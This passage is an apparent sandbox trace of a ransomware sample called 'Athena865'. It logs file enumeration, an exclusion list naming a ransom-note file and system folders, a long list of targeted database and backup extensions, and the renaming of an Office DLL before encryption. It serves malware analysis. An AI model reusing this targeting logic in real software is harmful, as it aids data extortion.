phProv=0x241d174*=0x519008) returned 1 [0066.495] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0066.495] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0066.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0066.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0066.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0066.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0066.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0066.495] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0066.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0066.495] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0066.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0066.496] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0066.513] CloseHandle (hObject=0x154) returned 1 [0066.513] CloseHandle (hObject=0x17c) returned 1 [0066.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0066.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0066.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0066.520] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".") returned 1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="..") returned 1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="windows") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="bootmgr") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="temp") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="pagefile.sys") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="boot") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="ids.txt") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="ntuser.dat") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="perflogs") returned -1 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2="MSBuild") returned -1 [0066.520] lstrlenW (lpString="ACCVDT.DLL") returned 10 [0066.520] lstrcpyW (in: lpString1=0x241e89e, lpString2="ACCVDT.DLL" | out: lpString1="ACCVDT.DLL") returned="ACCVDT.DLL" [0066.520] lstrlenW (lpString="ACCVDT.DLL") returned 10 [0066.520] lstrlenW (lpString="Athena865") returned 9 [0066.520] lstrcmpiW (lpString1="CCVDT.DLL", lpString2="Athena865") returned 1 [0066.520] lstrlenW (lpString=".dll") returned 4 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".dll") returned 1 [0066.520] lstrlenW (lpString=".lnk") returned 4 [0066.520] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".lnk") returned 1 [0066.521] lstrlenW (lpString=".ini") returned 4 [0066.521] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".ini") returned 1 [0066.521] lstrlenW (lpString=".sys") returned 4 [0066.521] lstrcmpiW (lpString1="ACCVDT.DLL", lpString2=".sys") returned 1 [0066.521] lstrlenW (lpString="ACCVDT.DLL") returned 10 [0066.521] lstrlenW (lpString="bak") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0066.521] lstrlenW (lpString="ba_") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0066.521] lstrlenW (lpString="dbb") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0066.521] lstrlenW (lpString="vmdk") returned 4 [0066.521] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0066.521] lstrlenW (lpString="rar") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0066.521] lstrlenW (lpString="zip") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0066.521] lstrlenW (lpString="tgz") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0066.521] lstrlenW (lpString="vbox") returned 4 [0066.521] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0066.521] lstrlenW (lpString="vdi") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0066.521] lstrlenW (lpString="vhd") returned 3 [0066.521] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0066.521] lstrlenW (lpString="vhdx") returned 4 [0066.521] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0066.521] lstrlenW (lpString="avhd") returned 4 [0066.521] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0066.521] lstrlenW (lpString="db") returned 2 [0066.521] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0066.521] lstrlenW (lpString="db2") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0066.522] lstrlenW (lpString="db3") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0066.522] lstrlenW (lpString="dbf") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0066.522] lstrlenW (lpString="mdf") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0066.522] lstrlenW (lpString="mdb") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0066.522] lstrlenW (lpString="sql") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0066.522] lstrlenW (lpString="sqlite") returned 6 [0066.522] lstrcmpiW (lpString1="DT.DLL", lpString2="sqlite") returned -1 [0066.522] lstrlenW (lpString="sqlite3") returned 7 [0066.522] lstrcmpiW (lpString1="VDT.DLL", lpString2="sqlite3") returned 1 [0066.522] lstrlenW (lpString="sqlitedb") returned 8 [0066.522] lstrcmpiW (lpString1="CVDT.DLL", lpString2="sqlitedb") returned -1 [0066.522] lstrlenW (lpString="xml") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0066.522] lstrlenW (lpString="$er") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0066.522] lstrlenW (lpString="4dd") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0066.522] lstrlenW (lpString="4dl") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0066.522] lstrlenW (lpString="^^^") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0066.522] lstrlenW (lpString="abs") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0066.522] lstrlenW (lpString="abx") returned 3 [0066.522] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0066.522] lstrlenW (lpString="accdb") returned 5 [0066.523] lstrcmpiW (lpString1="T.DLL", lpString2="accdb") returned 1 [0066.523] lstrlenW (lpString="accdc") returned 5 [0066.523] lstrcmpiW (lpString1="T.DLL", lpString2="accdc") returned 1 [0066.523] lstrlenW (lpString="accde") returned 5 [0066.523] lstrcmpiW (lpString1="T.DLL", lpString2="accde") returned 1 [0066.523] lstrlenW (lpString="accdr") returned 5 [0066.523] lstrcmpiW (lpString1="T.DLL", lpString2="accdr") returned 1 [0066.523] lstrlenW (lpString="accdt") returned 5 [0066.523] lstrcmpiW (lpString1="T.DLL", lpString2="accdt") returned 1 [0066.523] lstrlenW (lpString="accdw") returned 5 [0066.523] lstrcmpiW (lpString1="T.DLL", lpString2="accdw") returned 1 [0066.523] lstrlenW (lpString="accft") returned 5 [0066.523] lstrcmpiW (lpString1="T.DLL", lpString2="accft") returned 1 [0066.523] lstrlenW (lpString="adb") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.523] lstrlenW (lpString="adb") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0066.523] lstrlenW (lpString="ade") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0066.523] lstrlenW (lpString="adf") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0066.523] lstrlenW (lpString="adn") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0066.523] lstrlenW (lpString="adp") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0066.523] lstrlenW (lpString="alf") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0066.523] lstrlenW (lpString="ask") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0066.523] lstrlenW (lpString="btr") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0066.523] lstrlenW (lpString="cat") returned 3 [0066.523] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0066.524] lstrlenW (lpString="cdb") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0066.524] lstrlenW (lpString="ckp") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0066.524] lstrlenW (lpString="cma") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0066.524] lstrlenW (lpString="cpd") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0066.524] lstrlenW (lpString="dacpac") returned 6 [0066.524] lstrcmpiW (lpString1="DT.DLL", lpString2="dacpac") returned 1 [0066.524] lstrlenW (lpString="dad") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0066.524] lstrlenW (lpString="dadiagrams") returned 10 [0066.524] lstrlenW (lpString="daschema") returned 8 [0066.524] lstrcmpiW (lpString1="CVDT.DLL", lpString2="daschema") returned -1 [0066.524] lstrlenW (lpString="db-journal") returned 10 [0066.524] lstrlenW (lpString="db-shm") returned 6 [0066.524] lstrcmpiW (lpString1="DT.DLL", lpString2="db-shm") returned 1 [0066.524] lstrlenW (lpString="db-wal") returned 6 [0066.524] lstrcmpiW (lpString1="DT.DLL", lpString2="db-wal") returned 1 [0066.524] lstrlenW (lpString="dbc") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0066.524] lstrlenW (lpString="dbs") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0066.524] lstrlenW (lpString="dbt") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0066.524] lstrlenW (lpString="dbv") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0066.524] lstrlenW (lpString="dbx") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0066.524] lstrlenW (lpString="dcb") returned 3 [0066.524] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0066.525] lstrlenW (lpString="dct") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0066.525] lstrlenW (lpString="dcx") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0066.525] lstrlenW (lpString="ddl") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0066.525] lstrlenW (lpString="dlis") returned 4 [0066.525] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0066.525] lstrlenW (lpString="dp1") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0066.525] lstrlenW (lpString="dqy") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0066.525] lstrlenW (lpString="dsk") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0066.525] lstrlenW (lpString="dsn") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0066.525] lstrlenW (lpString="dtsx") returned 4 [0066.525] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0066.525] lstrlenW (lpString="dxl") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0066.525] lstrlenW (lpString="eco") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0066.525] lstrlenW (lpString="ecx") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0066.525] lstrlenW (lpString="edb") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0066.525] lstrlenW (lpString="epim") returned 4 [0066.525] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0066.525] lstrlenW (lpString="fcd") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0066.525] lstrlenW (lpString="fdb") returned 3 [0066.525] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0066.525] lstrlenW (lpString="fic") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0066.526] lstrlenW (lpString="flexolibrary") returned 12 [0066.526] lstrlenW (lpString="fm5") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0066.526] lstrlenW (lpString="fmp") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0066.526] lstrlenW (lpString="fmp12") returned 5 [0066.526] lstrcmpiW (lpString1="T.DLL", lpString2="fmp12") returned 1 [0066.526] lstrlenW (lpString="fmpsl") returned 5 [0066.526] lstrcmpiW (lpString1="T.DLL", lpString2="fmpsl") returned 1 [0066.526] lstrlenW (lpString="fol") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0066.526] lstrlenW (lpString="fp3") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0066.526] lstrlenW (lpString="fp4") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0066.526] lstrlenW (lpString="fp5") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0066.526] lstrlenW (lpString="fp7") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0066.526] lstrlenW (lpString="fpt") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0066.526] lstrlenW (lpString="frm") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0066.526] lstrlenW (lpString="gdb") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.526] lstrlenW (lpString="gdb") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0066.526] lstrlenW (lpString="grdb") returned 4 [0066.526] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0066.526] lstrlenW (lpString="gwi") returned 3 [0066.526] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0066.526] lstrlenW (lpString="hdb") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0066.527] lstrlenW (lpString="his") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0066.527] lstrlenW (lpString="ib") returned 2 [0066.527] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0066.527] lstrlenW (lpString="idb") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0066.527] lstrlenW (lpString="ihx") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0066.527] lstrlenW (lpString="itdb") returned 4 [0066.527] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0066.527] lstrlenW (lpString="itw") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0066.527] lstrlenW (lpString="jet") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0066.527] lstrlenW (lpString="jtx") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0066.527] lstrlenW (lpString="kdb") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0066.527] lstrlenW (lpString="kexi") returned 4 [0066.527] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0066.527] lstrlenW (lpString="kexic") returned 5 [0066.527] lstrcmpiW (lpString1="T.DLL", lpString2="kexic") returned 1 [0066.527] lstrlenW (lpString="kexis") returned 5 [0066.527] lstrcmpiW (lpString1="T.DLL", lpString2="kexis") returned 1 [0066.527] lstrlenW (lpString="lgc") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0066.527] lstrlenW (lpString="lwx") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0066.527] lstrlenW (lpString="maf") returned 3 [0066.527] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0066.527] lstrlenW (lpString="maq") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0066.528] lstrlenW (lpString="mar") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0066.528] lstrlenW (lpString="marshal") returned 7 [0066.528] lstrcmpiW (lpString1="VDT.DLL", lpString2="marshal") returned 1 [0066.528] lstrlenW (lpString="mas") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0066.528] lstrlenW (lpString="mav") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0066.528] lstrlenW (lpString="maw") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0066.528] lstrlenW (lpString="mdbhtml") returned 7 [0066.528] lstrcmpiW (lpString1="VDT.DLL", lpString2="mdbhtml") returned 1 [0066.528] lstrlenW (lpString="mdn") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0066.528] lstrlenW (lpString="mdt") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0066.528] lstrlenW (lpString="mfd") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0066.528] lstrlenW (lpString="mpd") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0066.528] lstrlenW (lpString="mrg") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0066.528] lstrlenW (lpString="mud") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0066.528] lstrlenW (lpString="mwb") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0066.528] lstrlenW (lpString="myd") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0066.528] lstrlenW (lpString="ndf") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0066.528] lstrlenW (lpString="nnt") returned 3 [0066.528] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0066.529] lstrlenW (lpString="nrmlib") returned 6 [0066.529] lstrcmpiW (lpString1="DT.DLL", lpString2="nrmlib") returned -1 [0066.529] lstrlenW (lpString="ns2") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0066.529] lstrlenW (lpString="ns3") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0066.529] lstrlenW (lpString="ns4") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0066.529] lstrlenW (lpString="nsf") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0066.529] lstrlenW (lpString="nv") returned 2 [0066.529] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0066.529] lstrlenW (lpString="nv2") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0066.529] lstrlenW (lpString="nwdb") returned 4 [0066.529] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0066.529] lstrlenW (lpString="nyf") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0066.529] lstrlenW (lpString="odb") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.529] lstrlenW (lpString="odb") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0066.529] lstrlenW (lpString="oqy") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0066.529] lstrlenW (lpString="ora") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0066.529] lstrlenW (lpString="orx") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0066.529] lstrlenW (lpString="owc") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0066.529] lstrlenW (lpString="p96") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0066.529] lstrlenW (lpString="p97") returned 3 [0066.529] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0066.530] lstrlenW (lpString="pan") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0066.530] lstrlenW (lpString="pdb") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0066.530] lstrlenW (lpString="pdm") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0066.530] lstrlenW (lpString="pnz") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0066.530] lstrlenW (lpString="qry") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0066.530] lstrlenW (lpString="qvd") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0066.530] lstrlenW (lpString="rbf") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0066.530] lstrlenW (lpString="rctd") returned 4 [0066.530] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0066.530] lstrlenW (lpString="rod") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0066.530] lstrlenW (lpString="rodx") returned 4 [0066.530] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0066.530] lstrlenW (lpString="rpd") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0066.530] lstrlenW (lpString="rsd") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0066.530] lstrlenW (lpString="sas7bdat") returned 8 [0066.530] lstrcmpiW (lpString1="CVDT.DLL", lpString2="sas7bdat") returned -1 [0066.530] lstrlenW (lpString="sbf") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0066.530] lstrlenW (lpString="scx") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0066.530] lstrlenW (lpString="sdb") returned 3 [0066.530] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0066.530] lstrlenW (lpString="sdc") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0066.531] lstrlenW (lpString="sdf") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0066.531] lstrlenW (lpString="sis") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0066.531] lstrlenW (lpString="spq") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0066.531] lstrlenW (lpString="te") returned 2 [0066.531] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0066.531] lstrlenW (lpString="teacher") returned 7 [0066.531] lstrcmpiW (lpString1="VDT.DLL", lpString2="teacher") returned 1 [0066.531] lstrlenW (lpString="tmd") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0066.531] lstrlenW (lpString="tps") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0066.531] lstrlenW (lpString="trc") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.531] lstrlenW (lpString="trc") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0066.531] lstrlenW (lpString="trm") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0066.531] lstrlenW (lpString="udb") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0066.531] lstrlenW (lpString="udl") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0066.531] lstrlenW (lpString="usr") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0066.531] lstrlenW (lpString="v12") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0066.531] lstrlenW (lpString="vis") returned 3 [0066.531] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0066.531] lstrlenW (lpString="vpd") returned 3 [0066.532] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0066.532] lstrlenW (lpString="vvv") returned 3 [0066.532] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0066.532] lstrlenW (lpString="wdb") returned 3 [0066.532] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0066.532] lstrlenW (lpString="wmdb") returned 4 [0066.532] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0066.532] lstrlenW (lpString="wrk") returned 3 [0066.532] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0066.532] lstrlenW (lpString="xdb") returned 3 [0066.532] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0066.532] lstrlenW (lpString="xld") returned 3 [0066.532] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0066.532] lstrlenW (lpString="xmlff") returned 5 [0066.532] lstrcmpiW (lpString1="T.DLL", lpString2="xmlff") returned -1 [0066.532] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.Athena865") returned 63 [0066.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.athena865"), dwFlags=0x1) returned 1 [0066.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0066.533] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4532616) returned 1 [0066.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0066.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0066.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 